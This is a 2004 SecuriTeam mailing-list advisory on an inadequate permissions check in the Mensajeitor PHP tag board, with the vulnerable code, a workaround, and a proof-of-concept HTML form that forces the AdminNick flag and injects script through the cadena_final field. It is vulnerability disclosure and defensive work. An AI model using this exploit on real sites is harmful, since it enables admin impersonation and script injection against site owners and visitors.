

[UNIX] Mensajeitor Inadequate Permissions Check

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0071.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/21/04

To: list@securiteam.com

Date: 21 Jul 2004 11:44:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Mensajeitor Inadequate Permissions Check

SUMMARY

<<http://www.mensajeitor.com/>> Mensajeitor is "a kind of tag board, in which the visitors can insert his nick and a message in the web page where its installed". A vulnerability in the product allows an attacker to impersonate a user from the administrative group and post notes to the web site as if he was the administrator.

DETAILS

Vulnerable Systems:

* Mensajeitor version v1.8.9 r1 and prior

Vulnerable code:

```
for($i=0;$i<count($NicksRegs);$i++) {  
    list($admin_nick,$admin_pass) = explode(":",$NicksRegs[$i]);  
  
    if ($nick == $admin_nick) {  
        $scadena_final .= "<span class=\"admin\">".$nick."</span>";  
        $AdminNick = "si";  
    }  
}
```

Securiteam: [UNIX] Mensajeitor Inadequate Permissions Check

```
if ($AdminNick != "si") {  
    $cadena_final .= "<acronym  
title=".nickinfo($nick_info).">$nick</acronym>";  
}
```

As can be seen in the previous code, the default value for \$AdminNick is not given, and if both checks fails no value is set by the code. This allows a remote attacker to set himself as part of the admin group by simply providing a default value for the \$AdminNick parameter. This opens up the product to different types of attack, one of them is HTML and code injection attacks.

Exploit:

```
< html>  
< head>< title>Mensajeitor Exploit</title></head>  
< body>  
Inyeccion codigo en Mensajeitor =< v1.8.9 r1< br>< br>  
  
< form name="form1" method="post"  
action="http://www.victima.com/mensajeitor.php">  
  < input type="text" name="nick" size="10" value="Nick" maxlength="9"><  
br>  
  < input type="text" name="titulo" size="21" value="Mensaje">< br>  
  < input type="text" name="url" size="21" value="http://">< br>  
  < input type="hidden" name="AdminNick" value="si">< br>  
  Introduce codigo a insertar (</table> debe incluirse al principio)<  
br>  
  < input type="text" name="cadena_final" size="75%" value="</table><  
script>alert('hacked ;')</script>">< br>  
  < input type="submit" name="enviar" value="Enviar" class="form">< br>  
</form>
```

MensajeitorPHP propiedad de aaff.< br>

By Jordi Corrales (Shell Security Group, <http://www.shellsec.net>)
</body></html>

Workaround:

Insert the following lines before \$nick = htmlspecialchars(\$nick); found in the source code of the PHP script:
if (\$cadena_final) { unset(\$cadena_final); }

ADDITIONAL INFORMATION

The information has been provided by <mailto:jordi@shellsec.net> Jordi Corrales.

The original article can be found at:

<http://www.shellsec.net/leer_advisory.php?id=4>
http://www.shellsec.net/leer_advisory.php?id=4

=====

Securiteam: [UNIX] Mensajeitor Inadequate Permissions Check

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.